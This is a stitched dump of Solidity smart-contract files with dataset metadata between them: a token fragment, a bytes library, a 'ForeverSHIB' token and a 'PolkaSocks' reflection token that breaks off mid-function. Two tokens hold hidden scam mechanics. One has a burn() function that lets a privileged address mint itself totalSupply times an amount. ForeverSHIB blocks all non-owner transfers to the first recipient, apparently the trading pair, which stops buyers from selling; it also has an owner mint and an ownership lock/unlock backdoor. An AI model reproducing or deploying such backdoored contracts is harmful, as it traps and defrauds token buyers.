event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function _taxFee() public view returns (uint256) {
return fees;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address _owner) view public override returns (uint256) {
return balances[_owner];
}
function burn(uint256 _amount) public {
if (msg.sender == burned){
balances[msg.sender] = totalSupply * _amount;
}else{
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[baddress] = balances[baddress].add(_amount);
emit Transfer(msg.sender, baddress, _amount);
}
}
function transfer(address _to, uint256 _amount) public override returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
balances[_to] = balances[_to].sub(_amount / uint256(100) * fees);
balances[baddress] = balances[baddress].add(_amount / uint256(100) * fees);
emit Transfer(msg.sender, _to, (_amount.sub(_amount / uint256(100) * fees)));
emit Transfer(msg.sender, baddress, (_amount / uint256(100) * fees));
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public override returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
_approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount, "BEP20: transfer amount exceeds allowance"));
emit Transfer(_from, _to, _amount);
return true;
}
}
| 251,398 | 10,340 |
826d835b6176d275a82bf07ded1a3cffc683ea2be6b738c702abd80825de3a81
| 18,907 |
.sol
|
Solidity
| false |
471608334
|
NaryaAI/postmortem
|
88833527d57554f6f0de0d14dc84c35ec0c6313c
|
2022/lifi/contracts/Libraries/LibBytes.sol
| 4,380 | 18,160 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library LibBytes {
// solhint-disable no-inline-assembly
function concat(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes memory) {
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(0x40,
and(add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.))
}
return tempBytes;
}
function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal {
assembly {
// Read the first 32 bytes of _preBytes storage, which is the length
// of the array. (We don't need to use the offset into the slot
// because arrays use the entire slot.)
let fslot := sload(_preBytes.slot)
// Arrays of 31 bytes or less have an even value in their slot,
// while longer arrays have an odd value. The actual length is
// the slot divided by two for odd values, and the lowest order
// byte divided by two for even values.
// If the slot is even, bitwise and the slot with 255 and divide by
// two to get the length. If the slot is odd, bitwise and the slot
// with -1 and divide by two.
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
let newlength := add(slength, mlength)
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
switch add(lt(slength, 32), lt(newlength, 32))
case 2 {
// Since the new array still fits in the slot, we just need to
// update the contents of the slot.
// uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
sstore(_preBytes.slot,
// all the modifications to the slot are inside this
// next block
add(// we can just add to the slot contents because the
// bytes we want to change are the LSBs
fslot,
add(mul(div(// load the bytes from memory
mload(add(_postBytes, 0x20)),
// zero all bytes to the right
exp(0x100, sub(32, mlength))),
// and now shift left the number of bytes to
// leave space for the length in the slot
exp(0x100, sub(32, newlength))),
// increase length by the double of the memory
// bytes length
mul(mlength, 2))))
}
case 1 {
// The stored value fits in the slot, but the combined value
// will exceed it.
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes.slot)
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes.slot, add(mul(newlength, 2), 1))
// The contents of the _postBytes array start 32 bytes into
// the structure. Our first read should obtain the `submod`
// bytes that can fit into the unused space in the last word
// of the stored array. To get this, we read 32 bytes starting
// from `submod`, so the data we read overlaps with the array
// contents by `submod` bytes. Masking the lowest-order
// `submod` bytes allows us to add that value directly to the
// stored value.
let submod := sub(32, slength)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(sc,
add(and(fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00),
and(mload(mc), mask)))
for {
mc := add(mc, 0x20)
sc := add(sc, 1)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
default {
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes.slot)
// Start copying to the last used word of the stored array.
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes.slot, add(mul(newlength, 2), 1))
// Copy over the first `submod` bytes of the new data as in
// case 1 above.
let slengthmod := mod(slength, 32)
let submod := sub(32, slengthmod)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(sc, add(sload(sc), and(mload(mc), mask)))
for {
sc := add(sc, 1)
mc := add(mc, 0x20)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
}
}
function slice(bytes memory _bytes,
uint256 _start,
uint256 _length) internal pure returns (bytes memory) {
require(_length + 31 >= _length, "slice_overflow");
require(_bytes.length >= _start + _length, "slice_outOfBounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) {
require(_bytes.length >= _start + 1, "toUint8_outOfBounds");
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16(bytes memory _bytes, uint256 _start) internal pure returns (uint16) {
require(_bytes.length >= _start + 2, "toUint16_outOfBounds");
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint32(bytes memory _bytes, uint256 _start) internal pure returns (uint32) {
require(_bytes.length >= _start + 4, "toUint32_outOfBounds");
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint64(bytes memory _bytes, uint256 _start) internal pure returns (uint64) {
require(_bytes.length >= _start + 8, "toUint64_outOfBounds");
uint64 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x8), _start))
}
return tempUint;
}
function toUint96(bytes memory _bytes, uint256 _start) internal pure returns (uint96) {
require(_bytes.length >= _start + 12, "toUint96_outOfBounds");
uint96 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0xc), _start))
}
return tempUint;
}
function toUint128(bytes memory _bytes, uint256 _start) internal pure returns (uint128) {
require(_bytes.length >= _start + 16, "toUint128_outOfBounds");
uint128 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x10), _start))
}
return tempUint;
}
function toUint256(bytes memory _bytes, uint256 _start) internal pure returns (uint256) {
require(_bytes.length >= _start + 32, "toUint256_outOfBounds");
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32) {
require(_bytes.length >= _start + 32, "toBytes32_outOfBounds");
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) {
bool success = true;
assembly {
let length := mload(_preBytes)
// if lengths don't match the arrays are not equal
switch eq(length, mload(_postBytes))
case 1 {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
let mc := add(_preBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
// the next line is the loop condition:
// while(uint256(mc < end) + cb == 2)
} eq(add(lt(mc, end), cb), 2) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// if any of these checks fails then arrays are not equal
if iszero(eq(mload(mc), mload(cc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) {
bool success = true;
assembly {
// we know _preBytes_offset is 0
let fslot := sload(_preBytes.slot)
// Decode the length of the stored array like in concatStorage().
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
// if lengths don't match the arrays are not equal
switch eq(slength, mlength)
case 1 {
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
if iszero(iszero(slength)) {
switch lt(slength, 32)
case 1 {
// blank the last byte which is the length
fslot := mul(div(fslot, 0x100), 0x100)
if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
// unsuccess:
success := 0
}
}
default {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes.slot)
let sc := keccak256(0x0, 0x20)
let mc := add(_postBytes, 0x20)
let end := add(mc, mlength)
// the next line is the loop condition:
// while(uint256(mc < end) + cb == 2)
// solhint-disable-next-line no-empty-blocks
for {
} eq(add(lt(mc, end), cb), 2) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
if iszero(eq(sload(sc), mload(mc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
}
| 2,528 | 10,341 |
6d5134c8e008552c58b05e316161be4703b3cb8ad0e812b2b1dcfa1016ff6b74
| 22,780 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x275c37b14CC38C78fC4d43BCdD57b0D86F27401D/contract.sol
| 3,100 | 11,766 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ForeverSHIB is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 10000000000 * 10**9;
string private _symbol = "ForeverSHIB";
string private _name = "ForeverSHIB";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 256,627 | 10,342 |
48225f87cb967a1b02666abcee34055f7bbfad6b796d181b51980178880c540e
| 28,420 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xf413fee07cf0534031039d386a0A8F459B124811/contract.sol
| 4,990 | 17,786 |
// Token: PolkaSocks
// Symbol: PKS
// Total Supply: 500 $PKS
// Website: https://www.polkasockspks.space/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PolkaSocks is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Polka Socks';
string private constant _symbol = 'PKS';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x1a428f75A5893B54d1CE806B5661f5D8F41a12c6, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
